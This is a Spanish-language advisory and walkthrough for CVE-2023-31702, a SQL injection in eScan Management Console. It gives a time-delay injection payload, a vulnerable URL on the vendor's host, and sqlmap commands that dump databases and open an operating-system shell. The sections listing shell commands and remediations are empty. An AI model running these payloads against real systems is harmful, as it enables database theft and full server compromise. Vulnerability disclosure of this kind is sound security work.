
CVE-2023-31702 es una vulnerabilidad de inyección SQL autenticada descubierta en MicroWorld Technologies eScan Management Console versión 14.0.1400.2281.
CVE-2023-31702 es una vulnerabilidad de Inyección SQL autenticada descubierta en MicroWorld Technologies eScan Management Console versión 14.0.1400.2281. La vulnerabilidad existe en el endpoint GetUserCurrentPwd, donde el parámetro UsrId es pasado directamente a una consulta SQL sin la debida sanitización o parametrización. Un atacante autenticado puede explotar esta falla para realizar una inyección SQL ciega basada en tiempo, extraer toda la base de datos backend y, en última instancia, obtener un shell de comandos del sistema operativo interactivo en el Microsoft SQL Server subyacente — lo que lleva al compromiso total del sistema.
| Campo | Detalles |
|---|---|
| CVE ID | CVE-2023-31702 |
| Tipo de Vulnerabilidad | Inyección SQL (Ciega Basada en Tiempo / Consultas Apiladas) |
| Producto Afectado | MicroWorld Technologies eScan Management Console |
| Versión Afectada | 14.0.1400.2281 |
| Endpoint Vulnerable | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Parámetro Vulnerable | UsrId |
| Autenticación | Requerida (credenciales válidas de la consola) |
| Probado en | Windows |
| Puntuación CVSS v3.1 | 8.8 (Alta) |
| Vector CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Fecha de Reporte | 16 de mayo de 2023 |
| Autor | Sahil Ojha |
| Campo | Detalles |
|---|---|
| Proveedor | MicroWorld Technologies |
| Producto | eScan Management Console |
| Página del Proveedor | https://www.escanav.com |
| Enlace del Software | https://cl.escanav.com/ewconsole.dll |
| Plataforma | Windows |
La Consola de Administración de eScan proporciona una interfaz web para gestionar la seguridad de los endpoints en la red de una organización. La función "Ver Perfil de Usuario" expone un endpoint tipo REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
El parámetro UsrId se incorpora en una consulta SQL del backend sin validación, escape ni uso de consultas parametrizadas. Esto permite que un atacante autenticado inyecte sentencias SQL arbitrarias en la consulta, lo que resulta en:
WAITFOR DELAY para confirmar explotabilidad.xp_cmdshell de SQL Server (habilitado mediante sp_configure) para ejecutar comandos arbitrarios del sistema operativo en el servidor con los privilegios de la cuenta de servicio de SQL Server.Una explotación exitosa de esta vulnerabilidad permite a un atacante:
⚠️ Nota: El atacante primero debe obtener credenciales válidas para la Consola de Administración de eScan. Sin embargo, una vez autenticado, la explotación es sencilla y no requiere privilegios elevados de consola.
Después de autenticarse en la Consola de Administración de eScan, navegue a la siguiente URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Esto devuelve los datos del perfil del usuario actual, confirmando que el endpoint es accesible.

Inyecte el siguiente payload de retardo temporal en el parámetro UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Desglose del payload:
; — termina la sentencia SQL original e inicia una nueva (consulta apilada).WAITFOR DELAY '0:0:5' — indica al SQL Server que pause durante 5 segundos antes de responder.-- — comenta el resto de la consulta original para evitar errores de sintaxis.Si la respuesta del servidor se retrasa aproximadamente 5 segundos, la inyección se confirma.

Una vez confirmada la inyección SQL ciega, se puede extraer toda la base de datos usando SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Esto enumera todas las bases de datos alojadas en el SQL Server backend.
SQLMap también puede escalar el ataque a la ejecución de comandos a nivel de SO habilitando y aprovechando xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Esto establece un shell interactivo del SO en el host de SQL Server.

Con el shell del SO establecido, se pueden ejecutar comandos arbitrarios de Windows en el servidor:

Se recomiendan encarecidamente las siguientes medidas para remediar y mitigar esta vulnerabilidad: